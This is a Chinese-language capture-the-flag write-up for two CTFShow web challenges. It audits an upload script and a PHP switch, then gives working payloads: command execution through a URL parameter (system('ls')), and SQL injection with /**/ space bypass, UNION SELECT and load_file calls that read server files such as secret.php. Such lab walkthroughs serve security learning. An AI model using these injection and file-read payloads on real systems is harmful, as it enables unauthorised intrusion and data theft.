前言
CTFShow通常是指网络安全领域中的“Capture The Flag”(夺旗赛)展示工具或平台。这是一种用于分享、学习和展示信息安全竞赛中获取的信息、漏洞利用技巧以及解题思路的在线社区或软件。参与者会在比赛中收集“flag”,通常是隐藏在网络环境中的数据或密码形式,然后通过分析、破解等手段找到并提交。CTFShow可以帮助人们了解最新的安全技术和挑战,同时也促进了安全知识和技术的交流。
Web13
1.首先,我们启动靶机,打开首页,发现这是一个文件上传页面。
2.根据我们的经验,我们下载一下备份文件进行一下代码审计upload.php.bak
,在url中加入即可。
3.我们来对源码进行一下代码审计,我们发现$size > 24
规定文件大小要大于24;strlen($filename)>9
文件名长度要大于9;strlen($ext_suffix)>3
后缀名的长度要大于3;preg_match("/php/i",$ext_suffix)
后缀名要包含php;preg_match("/php/i",$filename)
文件名包含php。
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
4.那么知道了这些条件我们就要来构造文件了。首先我们来写一个配置文件.user.ini
。
将其上传。
5.接着我们来写一个1.png
。
将其上传。
6.上传之后我们来看一下有哪些文件/index.php?1=system("ls");
7.我们来查看一下可能会藏有flag的文件/index.php?1=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
发现果然在里面。
Web14
1.首先我们启动靶机,我们发现首页是一个php代码,我们可以来进行一下代码审计,会发现提示是在url中加参数c
,并且对参数进行了一些限制。
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
2.这个时候我们就来测试一下,?c=3
,发现爆出了一个php,访问一下看看。
3.我们访问一下here_1s_your_f1ag.php
发现这是一个查询框并且带有弹窗回显,那么很明显说明这里是一个sql注入漏洞。
4.既然是sql注入漏洞,那么思路就很简单了,首先我们来测试列数,当我们输入1 order by 1
时我们发现没有弹窗,这里有可能是某些字符被过滤掉了,我们将空格
换为/**/
,输入1/**/order/**/by/**/1
发现有弹窗有回显,但是当我们输入1/**/order/**/by/**/1
的时候我们发现就有弹窗但无回显了,说明列数为1。
5.知道了列数为1之后,我们就来去数据库中找了,首先我们先来找到数据库名。-1/**/union/**/select/**/database()
,发现数据库名为web。
6.知道了数据库名我们就要找表名和列名了,这里就不多赘述了,但是当我们找到列名的时候我们发现flag不在这里!?query=0/**/union/**/select/**/group_concat(
1,
2,
3)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)x
同时它给了我们一个提示就是在secret中。
7.我们来到secret.php
中,发现并看不了,我们想到是否能用load_file()
来查看呢,url中输入?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
,果然我们Ctrl+U
一下发现了端倪。
8.所以real_flag_is_here。我们再次输入?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
,然后再看一下,成功找到了flag。